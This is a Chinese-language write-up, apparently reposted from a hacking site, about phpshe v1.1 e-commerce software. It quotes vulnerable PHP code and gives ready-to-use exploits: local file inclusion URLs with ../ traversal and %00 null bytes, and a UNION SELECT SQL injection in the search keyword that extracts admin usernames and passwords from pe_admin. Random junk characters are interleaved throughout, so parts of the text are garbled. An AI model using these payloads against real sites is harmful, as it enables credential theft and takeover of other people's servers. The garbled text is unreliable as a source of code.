phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
- i' A1 j8 c) I/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
! G! B) s* R+ p- G/ b3 `) ^. O/* E-Mail : 681796@qq.com
/*******************************************************/
  J3 F. z* C; l! q7 D9 A0×00 整体大概参数传输

6 Q) l4 V& y1 H* {

( v, m) ~0 w/ b+ G/ M8 a//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
) H9 r7 o, X" }+ k! Y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
. z5 J$ ?$ X! i1 a$ _1 S' O}
' |8 X6 d7 ~$ `" v4 Welse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- Y5 _6 g$ f! @5 H!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
8 ^8 I, O1 M, Q+ m8 M: H8 Y}
session_start();
0 T: B; N6 Z& W0 X7 F9 V6 x!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

2 t9 B) M# x* d6 v& ^& B6 a* v4 l0×01 包含漏洞
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//首页文件
5 h! g) y( R( k<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
! z% f; J" c$ z9 P. u0 s; o//common 文件 第15行开始
7 v/ _* k/ a' Q! V+ K& Z# w# U$ lurl路由配置
9 @& f& q( C) @0 B  ?) h$module = $mod = $act = 'index';
8 {& ^- K( i* y1 L' _" D, L0 k$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
6 y  c+ z1 f2 a0 t+ q/ n$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
' l( ?# j) q7 }0 H% k

+ O8 {# h( }) O% O" U) O! s  ~
5 Q0 c. b( Y4 X 0×02 搜索注入

9 f) H) \* i  E0 q) {3 p2 I. k3 b<code id="code2">

//product.php文件
case 'list':
8 `- _; b  W' e% j0 K$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
; r! [- E. t/ N4 r% I) R5 \+ Y6 D//搜索
$sqlwhere = " and `product_state` = 1";
6 S4 t- m+ a. Z3 ~pe_lead('hook/category.hook.php');
& k) a5 \, c3 o! L+ @! ?& Mif ($category_id) {
& J. H/ E5 ~! w0 k, y) Awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
# J/ d6 \0 L+ D8 B! p! M$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
0 ~8 u. v. A9 s, k% Z8 Z  l) y$orderby = explode('_', $_g_orderby);
/ @, {; G% H1 ?+ Y. r$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: b4 B1 k0 ?9 ?7 r5 Q9 v/ u}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
  u5 G& f+ b# y2 q//热卖排行
4 d; C) ~2 c# D7 q5 W$product_hotlist = product_hotlist();
# c$ `. |/ }( d2 K* U//当前路径
  G. C+ g0 B1 K% U9 `% K" c$nowpath = category_path($category_id);
4 n. r0 L) d" b# ~# Q, A$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
% y4 X( R; u# ^* e: T) F+ i//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
% m, C; O; U* t) m+ }4 o3 s% b{
- L. @7 X) j1 p' `//处理条件语句
$sqlwhere = $this->_dowhere($where);
1 n& a% s# K8 |9 ^8 dreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
. e& b. L- \- V5 N& y7 i

</code>

7 D( [3 Q/ H$ c. k, K- g0×03 包含漏洞2
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# i' o& \% V; B6 ^<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

* O. f6 p9 s2 D, ?9 `/ O2 o9 K6 j$cache_payway = cache::get('payway');

0 X4 w) {) V' C1 H2 rforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

5 l- ~/ Y$ F5 _. Q1 Z$ I* s+ eif ($k == 'bank') {

* r3 q3 [1 }7 J: V  y* a$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

4 \7 v' B2 K$ \: e}

* [  U- X# U7 D7 _$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

7 L* T8 K( C+ {2 ^7 [( Y!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

: N  h  H  J4 }. @. _if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

- Z- u, B# G! B' J- C$order['order_name'] .= "{$v['product_name']};";
' Y' V9 h4 w: y: M0 w$ `

}

! H, B, t. C; u3 `echo '正在为您连接支付网站，请稍后...';

/ a+ {. C) W/ ?" l8 i% f$ Binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

6 H* B" z5 [; [1 [6 ~else {

pe_error('支付错误...');

% q# L2 k! f" f7 f+ q}

}

$seo = pe_seo('选择支付方式');

" P/ {- b; `* W& e2 U3 b4 j- Einclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
& O5 N5 L4 v3 P- s" x* J/ shttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg